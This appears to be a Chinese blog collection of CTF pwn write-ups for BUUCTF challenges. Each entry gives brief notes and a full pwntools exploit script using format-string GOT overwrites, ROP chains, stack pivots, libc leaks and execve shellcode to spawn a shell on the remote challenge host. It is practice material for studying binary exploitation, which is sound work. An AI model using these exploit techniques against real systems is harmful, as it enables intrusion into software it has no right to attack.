1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 #!/usr/bin/python3 # -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_sw_1"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x3A80C , 0x3A80E , 0x3A812 , 0x3A819 , 0x5F065 , 0x5F066 ] elif "2.27"  in libc.path:     one_gadget = [         0x3CBEA ,         0x3CBEC ,         0x3CBF0 ,         0x3CBF7 ,         0x6729F ,         0x672A0 ,         0x13573E ,         0x13573F ,     ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26660      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x80485A8     c     " ""     gdb.attach(io, gdbscript=gdbscript) fini_arr = 0x804979C  printf_got = elf.got["printf" ] # main_addr=0x804 =>2052       8534  # system_addr=0x804 =>2052    83 d0=>33744  payload = f"%2052c%17$hn%19$hn%{33744-2052}c%16$hn%{0x8534-0x83d0}c%18$hn" .encode() payload = payload.ljust(0x30 , b"a" ) payload += p32(printf_got) + p32(printf_got + 2 ) + p32(fini_arr) + p32(fini_arr + 2 ) sla(b"your name?\n" , payload) sla(b"your name?\n" , "/bin/sh\0" ) it() 
ROP asis_finals_2019_rop13 1 2 3 4 5 6 7 8 9 10 11 12 mov_rsi_rsp=0x000000000040042a# mov rsi, qword ptr [rsp + 0x10] ; ret pop_rdx_rbp_ret=0x000000000040047e mov_edi_rsi_ret=0x0000000000400426#mov edi, dword ptr [rsp + 8] ; mov rsi, qword ptr [rsp + 0x10] ; ret leave_ret=0x4004B6 bss=0x601300 s(b"\x00"*0x48+p64(mov_rsi_rsp)+p64(pop_rdx_rbp_ret)+p64(0x8)+p64(elf.got["write"])+p64(elf.plt["write"])+p64(mov_edi_rsi_ret)+p64(pop_rdx_rbp_ret)+p64(0x0)+p64(bss)+p64(pop_rdx_rbp_ret)+p64(0x60)+p64(bss-8)+p64(elf.plt["read"])+p64(leave_ret)) libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-libc.sym["write"] pop_rdi_ret=0x000000000002155f+libc_base system_addr=libc_base+libc.sym["system"] bin_sh=libc_base+next(libc.search(b"/bin/sh\0")) s(p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)) it() 
microwave_ins_2016 还可以题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def login(username,password):     sla(b"MicroWave]: ",b"1")     sla(b"username: ",username)     sla(b"password: ",password) def shuru(content):     sla(b"MicroWave]: ",b"2")     sa(b"#> ",content)      login(b"%p"*(6),b"n07_7h3_fl46") ru(b"Checking ") content=rld().split(b"0x") libc_base=int(b"0x"+content[2],16)-0xf72c0 canary=int(b"0x"+content[-1],16) pop_rdi_ret=libc_base+0x0000000000021102 bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0")) system_addr=libc_base+libc.sym["system"] shuru(b"a"*0x408+p64(canary)+b"a"*0x8+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)) it() 
seccon2022-koncha  1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Hello! What is your name?\n",b"") ru(b"Nice to meet you, ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f43ea148000-0x7f43ea3392e8 pop_rdi_ret=libc_base+0x0000000000023b6a bin_sh=libc_base+next(libc.search(b"/bin/sh\0")) system=libc_base+libc.sym["system"] one_gadget=libc_base+0xe3b01 ret=libc_base+0x0000000000022679 #sla(b"Which country do you live in?\n",b"a"*0x58+p64(one_gadget)) sla(b"Which country do you live in?\n",b"a"*0x58+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)) it() 
wdb_2018_final_pwn3 https://buuoj.cn/challenges#wdb_2018_final_pwn3 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from  pwn import  *it = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./pwn3"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27557      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def  debug ():    global  io     gdbscript = """      b  *0x400E9F     c     """     gdb.attach(io, gdbscript=gdbscript)    def  add (size,data ):    sla(b"Exit\n" , b"2" )     sla(b"3. Large\n" ,str (size))     sla(b"Enter your item`s name: \n" ,data) def  free (index ):    sla(b"Exit\n" , b"4" )     sla(b" like to remove?\n" ,str (index)) def  add_to_list (size,num ):    sla(b"Exit\n" , b"3" )     sla(b"3. Large\n" ,str (size))     sla(b"would you like to add?\n" ,str (num)) def  show ():    sla(b"Exit\n" , b"1" ) def  edit (index,content ):    sla(b"Exit\n" , b"5" )     sla(b"you like to edit?\n" ,str (index))     sla(b"item`s new name: \n" ,content) sla(b"input: " ,b"a" ) payload=b"a" *0x78 +p64(0 ) sla(b"guess the random value: \n" ,payload) sla(b"target: " ,b"a\x00" ) sla(b"input: " ,b"a" ) pop_rdi_ret=0x00000000004010a3  payload=b"a\x00" .ljust(0x78 ,b"a" )+p64(0 )+b"a" *8 +p64(pop_rdi_ret)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(0x400880  ) sla(b"guess the random value: \n" ,payload) ru(b"it?\n" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-libc.sym["puts" ] sla(b"input: " ,b"a" ) payload=b"a" *0x78 +p64(0 ) sla(b"guess the random value: \n" ,payload) sla(b"target: " ,b"a\x00" ) sla(b"input: " ,b"a" ) pop_rdi_ret=0x00000000004010a3  payload=b"a\x00" .ljust(0x78 ,b"a" )+p64(0 )+b"a" *8 +p64(pop_rdi_ret)+p64(libc_base+next (libc.search(b"/bin/sh\0" )))+p64(libc_base+libc.sym["system" ]) sla(b"guess the random value: \n" ,payload) it() 
pwnable_silverbullet BUUCTF在线评测 (buuoj.cn) 
题目还算比较有意思,利用strcat\x00修改长度达到溢出的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sla(b"Your choice :" , b"1" ) sa(b"description of bullet :" , b"b"  * 0x2F ) sla(b"Your choice :" , b"2" ) sa(b"another description of bullet :" , b"a" ) sla(b"Your choice :" , b"2" ) sa(     b"another description of bullet :" ,     b"\xff"  * 7  + p32(elf.plt["puts" ]) + p32(elf.sym["main" ]) + p32(elf.got["puts" ]), ) sla(b"Your choice :" , b"3" ) ru(b"win !!\n" ) libc_base = u32(rld()) - libc.sym["puts" ] sla(b"Your choice :" , b"1" ) sa(b"description of bullet :" , b"a"  * 0x2F ) sla(b"Your choice :" , b"2" ) sa(b"another description of bullet :" , b"a" ) sla(b"Your choice :" , b"2" ) sa(     b"another description of bullet :" ,     b"\xff"  * 7      + p32(libc_base + libc.sym["system" ])     + b"a"  * 4      + p32(libc_base + next(libc.search(b"/bin/sh\0" ))), ) sla(b"Your choice :" , b"3" ) it() 
xm_2019_awd_pwn1 BUUCTF在线评测 (buuoj.cn) 
题目还不错,跟之前32位的有一点点不一样,64位的write和read低3位不一样,所以需要爆破
这种题目一定要注意,利用 plt+6复原got表,因为我们先把read改成了write,回到main之前要恢复过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pop_rdi_ret = 0x00000000004006A3  pop_rsi_r15_ret = 0x00000000004006A1  while  True:    io = remote("node4.buuoj.cn" , 26330 )     s(         b"a"  * 0x28          + p64(pop_rsi_r15_ret)         + p64(elf.got["read" ])#这里只用修改rsi为read got地址         + p64(0 )         + p64(elf.plt["read" ])#调用read函数,修改readgot表为write         + p64(elf.plt["read" ])#调用修改后的read,从readgot表开始打印泄露libc         + p64(pop_rsi_r15_ret)         + p64(elf.got["setbuf" ])         + p64(0 )         + p64(elf.plt["read" ] + 6 )#这里单纯是想恢复read的got值,就委屈一下setbuf         + p64(elf.sym["vuln" ])     )     sleep(0.5 )     s("\x40\x41" )#修改readgot地址     try:         libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["write" ]         break      except:         io.close() s(p64(elf.plt["setbuf" ] + 6 ))#恢复read用的setbuf,一定也要改成+6  s(     b"a"  * 0x28      + p64(pop_rdi_ret)     + p64(libc_base + next(libc.search(b"/bin/sh\0" )))     + p64(0x000000000040048E )#这里是ret地址,用来平衡64 位stack 检查     + p64(libc_base + libc.sym["system" ]) ) sleep(0.5 ) sl("cat flag" ) rl() 
roarctf_2019_easyrop BUUCTF在线评测 (buuoj.cn) 
这个题目其实比较简单,但是要注意就是我们栈溢出之后就会把保存长度给修改了,所以我们再溢出到这里的时候要把长度直接改到对应的ret adrr即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pop_rdi_ret = 0x401B93  main_addr = 0x4019F3  payload = b"a"  * 0x418  + p8(0x28 )  # 如果不这样的话相当于我们把i给修改了,就会飞掉,这个地方刚好把偏移改到ret_addr payload += (     p64(pop_rdi_ret) + p64(elf.got["puts" ]) + p64(elf.plt["puts" ]) + p64(main_addr) ) sla(b">> " , payload) ru(b"\x00" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] mprotect_addr = libc_base + libc.sym["mprotect" ] pop_rsi_ret = 0x23E6A  + libc_base pop_rdx_ret = 0x1B96  + libc_base start_addr = 0x680200  payload = b"a"  * 0x418  + p8(0x28 ) payload += (     p64(pop_rdi_ret)     + p64(start_addr & 0xFFF000 )     + p64(pop_rsi_ret)     + p64(0x1000 )     + p64(pop_rdx_ret)     + p64(7 )     + p64(mprotect_addr)     + p64(main_addr) ) sla(b">> " , payload) read_addr = libc_base + libc.sym["read" ] payload = b"a"  * 0x418  + p8(0x28 ) payload += (     p64(pop_rsi_ret)     + p64(start_addr)     + p64(pop_rdi_ret)     + p64(0x0 )     + p64(pop_rdx_ret)     + p64(0x100 )     + p64(read_addr)     + p64(start_addr) ) # debug() sla(b">> " , payload) payload = f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rdi,{convert_str_asmencode(" ./flag")}; push rdi; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x40; mov al,0; syscall; mov rdi,1; mov al,1; syscall; " "" sa(b"\x00" , asm (payload)) it() 
ciscn_2019_ne_3 BUUCTF在线评测 (buuoj.cn) 
一道挺麻烦的题目,一定需要把栈迁移的很远,不然有一些系统调用就会挂掉,同时有时候read一定也要覆盖掉返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 sa(b":" , b"a" ) ret_call_addr = 0x80486D0 #返回系统里面的read的push 0  read_start_addr = 0x0804A060 #这个刚好可以修改掉返回地址 sa(     b"length of password: " ,     b"-1\n\0"  + p32(ret_call_addr) + p32(read_start_addr) + p32(0x100 ), ) sla(b"):" , b"a"  * 0x48  + p32(0x0804A068 ))#因为esp是通过ecx来迁移的,所以只用修改ecx bss_start_av = 0x804A300 #很远的一个无用的地方,如果太近了system会挂掉 pop_ebp_ret = 0x0804881B  leave_ret = 0x08048575  sa(     b"contiune\n" ,     p32(pop_ebp_ret)     + p32(bss_start_av)     + p32(elf.plt["read" ])     + p32(leave_ret)     + p32(0 )     + p32(bss_start_av + 4 )     + p32(0x100 ), ) s(     p32(elf.plt["puts" ])     + p32(pop_ebp_ret)     + p32(elf.got["puts" ])     + p32(elf.plt["read" ])     + p32(0 )     + p32(0 )     + p32(bss_start_av + 0x14 )     + p32(0x100 ) ) libc_base = u32(ru(b"\xf7" )) - libc.sym["puts" ] system_addr = libc.sym["system" ] + libc_base bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) sa(b"\xf7" , p32(system_addr) + p32(system_addr) + p32(bin_sh_addr)) it() 
xp0intctf_2018_gameserver BUUCTF在线评测 (buuoj.cn) 
智障题目,snprintf返回值是实际需要的大小,而不是真正保存的大小,所以存在栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 sla(b"me you name?\n" , b"a"  * 254 ) sla(b"occupation?\n" , b"a"  * 254 ) sla(b"by yourself?[Y/N]" , b"Y" ) payload = (     b"a"  * 0x114  + b"b"  + p32(elf.plt["puts" ]) + p32(0x8048637 ) + p32(elf.got["puts" ]) ) s(payload) ru(b"b" ) rl() libc_base = u32(r(4 )) - libc.sym["puts" ] sla(b"me you name?\n" , b"a"  * 254 ) sla(b"occupation?\n" , b"a"  * 254 ) sla(b"by yourself?[Y/N]" , b"Y" ) payload = (     b"a"  * 0x114      + b"b"      + p32(libc_base + libc.sym["system" ])     + p32(0 )     + p32(libc_base + next(libc.search(b"/bin/sh\0" ))) ) s(payload) it() 
inndy_very_overflow BUUCTF在线评测 
一个简单的输出结构题目,伪造指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def add (content: bytes) :     sla (b"action: " , b"1" )      sla (b"Input your note: " , content)  def edit (index: int , content: bytes) :     sla (b"action: " , b"2" )      sla (b"Which note to edit: " , str(index).encode())      sla (b"Your new data: " , content)  def show (index: int ) :     sla (b"action: " , b"3" )      sla (b"Which note to show: " , str(index).encode())  def dump (index: int ) :     sla (b"action: " , b"4" )  add (b"a" ) add (b"b" ) add (b"c" ) edit (0 , b"a"  * 3  + p32(elf.got["puts" ])) show (2 ) ru (b"Next note: " ) libc_base = int (rld(), 16 ) - libc.sym["puts" ] system_addr = libc_base + libc.sym["system" ] edit(0 , b"a"  * 3  + p32(elf.got["atoi" ] - 4 )) edit(2 , p32(system_addr)) sla(b"action: " , b"sh\0" ) it() 
inndy_homework BUUCTF在线评测 
数组越界
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def exit () :     sla (b"> " , b"0" )  def edit (index: int , value: int ) :     sla (b"> " , b"1" )      sla (b"edit: " , str(index).encode())      sla (b"many? " , str(value).encode())  def show (index: int ) :     sla (b"> " , b"2" )      sla (b"show: " , str(index).encode())  sla (b"name? " , b"a" ) show (18 ) ru (b"is " ) libc_base = int (rld()) + (1  << 32 ) - 247  - libc.sym["__libc_start_main" ] system_addr = libc_base + libc.sym["system" ] - (1  << 32 ) bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) - (1  << 32 ) edit(14 , system_addr) edit(16 , bin_sh_addr) exit ()it() 
inndy_stack 模拟了一个stack,但是我们可以利用pop,push来覆盖掉index使它指向ret add,然后泄露libc进而覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop() pop() push(0 ) push(93 ) pop() ru(b"Pop -> " ) libc_base = int (rld()) + (1  << 32 ) - libc.sym["__libc_start_main" ] - 0xF7  system_addr = libc_base + libc.sym["system" ] - (1  << 32 ) bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) - (1  << 32 ) push(system_addr) push(0 ) push(bin_sh_addr) sla(b"Cmd >>\n" , b"x" ) it() 
cscctf_2019_qual_babystack BUUCTF在线评测 
挺不错的题目,在有限的plt 泄露libc getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pop_three_ret = 0x08048519  payload = (     b"a"  * 0x14      + p32(elf.plt["read" ])     + p32(pop_three_ret)     + p32(0 )     + p32(elf.got["read" ])     + p32(1 )     + p32(elf.plt["read" ])     + p32(pop_three_ret)     + p32(1 )     + p32(elf.got["read" ])     + p32(4 )     + p32(elf.plt["read" ] + 6 )     + p32(pop_three_ret)     + p32(0 )     + p32(0x804A020 )     + p32(1 )     + p32(elf.sym["vuln" ]) ) s(payload) sleep(1 ) s(b"\xf0" ) libc_base = u32(ru(b"\xf7" )) - libc.sym["write" ] s(b"\x00" ) sleep(1 ) system_addr = libc_base + libc.sym["system" ] bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) payload = b"a"  * 0x14  + p32(system_addr) + p32(0 ) + p32(bin_sh_addr) s(payload) it() 
强网杯2019 拟态 STKOF BUUCTF在线评测 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 #!/usr/bin/python3 # -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn"  elf = ELF(elf_path) context(arch=elf.arch, os="linux" , log_level="debug" ) if  "debug"  in elf_path:    libc_path = elf.linker.decode().replace("ld" , "./libc" )     libc = ELF(libc_path)     if  "2.23"  in libc_path:         one_gadget = [0x3A80C , 0x3A80E , 0x3A812 , 0x3A819 , 0x5F065 , 0x5F066 ]     elif "2.27"  in libc_path:         one_gadget = [             0x3CBEA ,             0x3CBEC ,             0x3CBF0 ,             0x3CBF7 ,             0x6729F ,             0x672A0 ,             0x13573E ,             0x13573F ,         ]     else :         one_gadget = [] else :    libc_path = ""  if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26525      io = remote(remote_ip, remote_port) else :    if  libc_path != "" :         io = process(elf_path, env={"LD_PRELOAD" : libc_path})     else :         io = process(elf_path) def debug():     gdbscript = "" "      b *0x400B32     c     " ""     gdb.attach(io, gdbscript=gdbscript) # 32b it overfollw 110  # 64b it overfollw 118  # debug() pop_rsi_ret = 0x0000000000405895  pop_rdi_ret = 0x00000000004005F6  pop_rdx_ret = 0x000000000043B9D5  pop_rax_ret = 0x000000000043B97C  syscall_addr = 0x00000000004011DC  bss_addr = 0x6A3368  read_64_addr = 0x43B9C0  pop_eax_ret = 0x080A8AF6  pop_edx_ecx_ebx_ret = 0x0806E9F1  int80_addr = 0x080495A3  add_esp_88_ret = 0x0806F5AD  read_32_addr = 0x0806C8E0  bss_32_addr = 0x80DA354  payload = (     b"a"  * 0x110      + p32(add_esp_88_ret)     + p32(0 )     + p64(pop_rdi_ret)     + p64(0 )     + p64(pop_rsi_ret)     + p64(bss_addr)     + p64(pop_rdx_ret)     + p64(0x10 )     + p64(read_64_addr)     + p64(pop_rdi_ret)     + p64(bss_addr)     + p64(pop_rsi_ret)     + p64(0 )     + p64(pop_rdx_ret)     + p64(0 )     + p64(pop_rax_ret)     + p64(59 )     + p64(syscall_addr) ) payload = (     payload.ljust(0x110  + 0x80 , b"a" )     + p32(read_32_addr)     + p32(pop_edx_ecx_ebx_ret)     + p32(0 )     + p32(bss_32_addr)     + p32(0x10 )     + p32(pop_edx_ecx_ebx_ret)     + p32(0 )     + p32(0 )     + p32(bss_32_addr)     + p32(pop_eax_ret)     + p32(0xB )     + p32(int80_addr) ) sla(b"pwn it?\n" , payload) sl(b"/bin/sh\0" ) it() 
关键就是利用add esp抬升栈
ret2shellcode 铁人三项(第五赛区)_2018_seven BUUCTF在线评测 (buuoj.cn) 
题目还行·,就是要利用条件,有的时候rsp会在rip上面,那么就可以写道rsp里面覆盖返回的指令
push rsp
pop rsi
这里好像write不能特别大的值
所以就只能mov dx,si
syscall
然后算好偏移加上shellcode
1 2 3 4 5 6 7 8 9 10 shellcode = "" "  push rsp; pop rsi; mov dx,si; syscall " "" sa(b"shellcode:" , asm (shellcode)) sleep(0.5 ) s(asm ("nop" ) * 0xB37  + asm (shellcraft.sh())) it() 
pwnable_echo1 BUUCTF在线评测 (buuoj.cn) 
傻逼题,就是需要往bss里面写入一个jmp rsp的指令,然后就好了
1 2 3 4 sla(b"? : " , asm ("jmp rsp" )) sla(b"> " , b"1" ) sl(b"a"  * 0x28  + p64(0x6020A0 ) + asm (shellcraft.sh())) it() 
xman_2019_nooocall BUUCTF在线评测 
这道题本来很简单,但由于禁用了所有的syscall,但是我们可以获取到flag的位置,就利用盲注来进行打
如果成功了就会陷入循环
挺有新意的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 context.arch = "amd64"  flagstr = [] for  x in range(0 , 10 ):    flagstr.append(str(x)) for  x in range(ord("a" ), ord("z" ) + 1 ):    flagstr.append(chr(x)) flagstr.append("{" ) flagstr.append("-" ) flagstr.append("}" ) remote_ip = "node4.buuoj.cn"  remote_port = 25224  flag = "flag{cb3e8ca2-759a-4865-b75e-8b9a276045b"  for  i in range(40 , 50 ):    for  s in flagstr:         io = remote(remote_ip, remote_port)         payload = asm (f"mov rax,[rsp+0x18];mov al,byte ptr[rax+{i}];cmp al,{ord(s)};" )         payload += b"\x74"  + p8(-len(payload) - 2  + (1  << 8 ))         io.sendafter(b"Shellcode >>" , payload)         if  b"the monitored command dumped core\n"  in io.recvline(timeout=1 ):             io.close()             continue          else :             io.close()             flag += s             print(flag)             break  
tiny_backdoor_v1_hackover_2016 BUUCTF在线评测 
利用上下文寄存器条件调用sys_read然后插入shellcode
1 2 3 4 5 6 7 8 9 bytess = b"\xb3\x91\x7f\xdd\x62\x81\x11\x6a\x90"  shellcode = asm ("dec eax;xchg rdi,rdx;syscall;" ) output = b""  for  i in range(len(shellcode)):    output += p8(shellcode[i] ^ bytess[i]) s(output) sleep(1 ) s(b"a"  * 0x10  + asm (shellcraft.sh())) it() 
inndy_onepunch BUUCTF在线评测 
遇见每个题目要分析具体的情况,这里可以直接修改 text,我们先改成一个死循环,然后再慢慢写shellcode
1 2 3 4 5 6 7 8 9 10 def writeData (addr, data) :     sla (b"Where What?" , (hex(addr) + " "  + str(data)).encode())  writeData (0x400768 , u8(b"\xb4" )) shellcode = asm (shellcraft.sh()) start_addr = 0x400769  for  i in shellcode:    writeData(start_addr, i)     start_addr += 1  writeData(0x400767 , u8(b"\x74" )) it() 
inndy_leave_msg BUUCTF在线评测 
不错的题目
1 2 3 sa(b"message:\n" , asm ("add esp,0x35;jmp esp" ) + b"\x00\xc3"  + asm (shellcraft.sh())) sa(b"message slot?\n" , b" -16" ) it() 
csaw2018_shell_code BUUCTF在线评测 
shellcode跳转,合理利用寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 bin_sh = 0x68732F2F6E69622F  shellcode = "" "  mov rax,0x68732F2F6E69622F; xor rsi,rsi; jmp rsp; " "" shellcode3 = "" "  push rsi; push rax; mov rdi,rsp; push rsi; pop rdx; push 0x3b; pop rax; syscall; " "" sla(b"node 1:  \n" , asm (shellcode)) sla(b"node 2: \n" , b"" ) ru(b"node.next: " ) stack_addr = int (rld(), 16 ) sla(b"initials?\n" , b"3"  * (3  + 8 ) + p64(stack_addr + 0x28 ) + asm (shellcode3)) it() 
rctf_2019_shellcoder BUUCTF在线评测 
这个题目很不错,需要好好的分析题目意思,就是有点不太好理解,需要结合具体的上下文寄存器环境来写哈哈哈,xchg是个很不错的指令,用来交换值,当然也可以利用push pop,但会多一个bit
1 2 3 4 5 6 7 8 9 shellcode = "" "  xchg rsi,rdi; mov dl,0xff; syscall; " "" # debug() sa(b"hellcoder:" , asm (shellcode)) s(b"a"  * 7  + asm (shellcraft.sh())) it() 
xp0intctf_2018_bof BUUCTF在线评测 
这个题目主要就是研究怎么缩短shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 bin_sh = convert_str_asmencode("/bin/sh\0" ) shellcode = f"" "  xor esi,esi; mov rdx,{bin_sh} push rdx; push rsi; pop rdx; push rsp; pop rdi; push 0x3b pop rax; syscall " "" bss_addr = 0x404070  leave_ret = 0x00000000004011B4  pop_rdi_ret = 0x0000000000401293  sa(     b"name: \n" ,     asm (shellcode), ) sa(     b"simple one.(*_*)\n" ,     b"a"  * 0x28  + p64(bss_addr), ) it() 
缩短shellcode 这里的例子都以amd64为主
syscall里面rax赋值 由于syscall的时候rax要变成一个只有al有值的数字,所以一般需要经过xor rax,rax mov al,0x3b 但这样需要xor rax,rax (3)+mov al,0x3b(2)==5个字节 但还有一个更快的方法 push 0x3b(2) pop rax(1) pop寄存器,push寄存器的长度是最短的,所以我们可以充分利用pop,push来节省长度 来查看效果
xor xor是很常见的指令,因为我们经常会涉及清0,比如说execve的syscall,rsi,rdx必须是0
mov rdi,rsp 
execve(/bin/sh)最短的shellcode 这里其实可以根据上下文环境,找到比如说rsi,rdx两个寄存器,哪个可以通过xor e开头的直接清零就放到第一句,不然这里就用xor rsi,rsi
1 2 3 4 5 6 7 8 9 debug() shellcode = asm(     "xor rsi,rsi;push 0x6873;push rsp;pop rdi;push rsi;pop rdx;push 0x3b;pop rax;syscall" ) stack_addr = int(r(14), 16) payload = b"a" * 0x18 + p64(stack_addr + 0x20) + shellcode sl(payload) it() 
不知道为什么挂了
starctf_2019_babyshell BUUCTF在线评测 
这个题比较简单,但就是要用\x00绕过
fuzz脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from itertools import * import re for  i in range (1 , 3 ) :    for  j in product ([p8(k) for  k in range(256 )], repeat=i) :         payload = b"\x00"  + b"" .join(j)         res = disasm(payload)         if  (             res != "        ..."              and not re.search(r"\[\w*?\]" , res)             and ".byte"  not in res         ):             print(res) exit (0 )
exp.py
1 2 sl(b"\x00\xc0"  + asm (shellcraft.sh())) it() 
lctf2016_pwn200 BUUCTF在线评测 
找到溢出点,覆盖为返回地址,然后修改返回地址为shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn200_debug"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if  "debug"  in elf_path:    libc_path = elf.linker.decode().replace("ld" , "./libc" )     libc = ELF(libc_path)     if  "2.23"  in libc_path:         one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ]     elif "2.27"  in libc_path:         one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ]     else :         one_gadget = [] else :    libc_path = ""  if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29413      io = remote(remote_ip, remote_port) else :    if  libc_path != "" :         io = process(elf_path, env={"LD_PRELOAD" : libc_path})     else :         io = process(elf_path) shellcode = asm (     "xor rdx,rdx;xor rsi,rsi;push rsi;mov rax, 0x68732f2f6e69622f;push rax;mov rdi,rsp;xor rax,rax;mov al,59;syscall"  ) sa(b"u?\n" , shellcode.ljust(47 , b"a" ) + b"c" ) ru(b"c" ) shellcode_addr = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FFF450E3CC0  + 0x7FFF450E3C70  ret_addr = shellcode_addr - 0x7FFEEA8F0420  + 0x7FFEEA8F03F8  sa(b"id ~~?\n" , b"0000" ) free_got = elf.got["free" ] sla(b"money~\n" , p64(shellcode_addr) + p64(0 ) * 6  + p64(ret_addr)) sla(b"choice : " , b"3" ) it() 
